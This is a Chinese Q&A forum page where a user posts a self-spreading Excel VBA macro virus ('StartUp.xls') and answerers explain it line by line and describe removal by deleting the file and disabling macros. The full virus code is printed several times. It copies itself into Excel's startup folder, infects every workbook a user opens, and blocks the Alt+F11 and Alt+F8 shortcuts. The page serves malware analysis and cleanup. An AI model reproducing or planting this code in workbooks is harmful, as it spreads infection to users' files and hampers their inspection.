这是一段vba病毒代码,有自动感染能力,麻烦专业人士给个详细的语句释义。顺便给个对应方法

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
End If
End Sub

算是一个比较弱的病毒吧,只要搜索StartUp.xls文件并删除,并且在打开EXCEL时禁用宏,然后将宏代码删除,就可完全解除。

以下是逐句释义:

Sub auto_open()
  On Error Resume Next    '出错时自动继续执行
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then    '判断EXCEL启动路径并且检查是否有StartUp.xls文件
    Application.ScreenUpdating = False    '禁止屏幕刷新
    ThisWorkbook.Sheets("StartUp").Copy    '自制自身工作表
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")    '在EXCEL启动路径下保存为StartUp.xls
    n$ = ActiveWorkbook.Name    '取得当前工作簿文件名
    ActiveWindow.Visible = False    '隐藏当前窗口
    Workbooks("StartUp.xls").Save    '将当前工作簿保存为StartUp.xls
    'Workbooks(n$).Close (False)    '无用代码
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"    '指定工作表激活时运行宏StartUp.xls!ycop
  Application.OnKey "%{F11}", "StartUp.xls!escape"    '指定F11键对应的宏为StartUp.xls!escape
  Application.OnKey "%{F8}", "StartUp.xls!escape"    '指定F8键对应的宏为StartUp.xls!escape
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then    '判断当前工作簿的工作表名是否为"StartUp"
    Application.ScreenUpdating = False    '禁止屏幕刷新
    n$ = ActiveSheet.Name    '取得当前工作表名称
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)    '将StartUp.xls中的StartUp工作表复制到当前文件
    End If
    End Sub


代码功能貌似还不完整,感染能力很弱……

温馨提示:答案为网友推荐,仅供参考
第1个回答  2013-06-17
Sub auto_open()
On Error Resume Next
' 如果本工作簿不是保存自启动路径下,且自启动路径不存存在 startUp.xls
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
'如果符合条件则,自动复制本文件的"startup"工作表,新建一个工作簿保存在自启动路径下并命名为StartUP.Xls
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
'自动运行宏,设置快捷运行宏病毒进行传播
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

'自动复制宏病毒文件到打开的工作簿中.
Sub ycop()

On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
End If
End Sub
第2个回答  2013-06-17
把StartUp.xls文件删除

相关了解……

你可能感兴趣的内容

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 非常风气网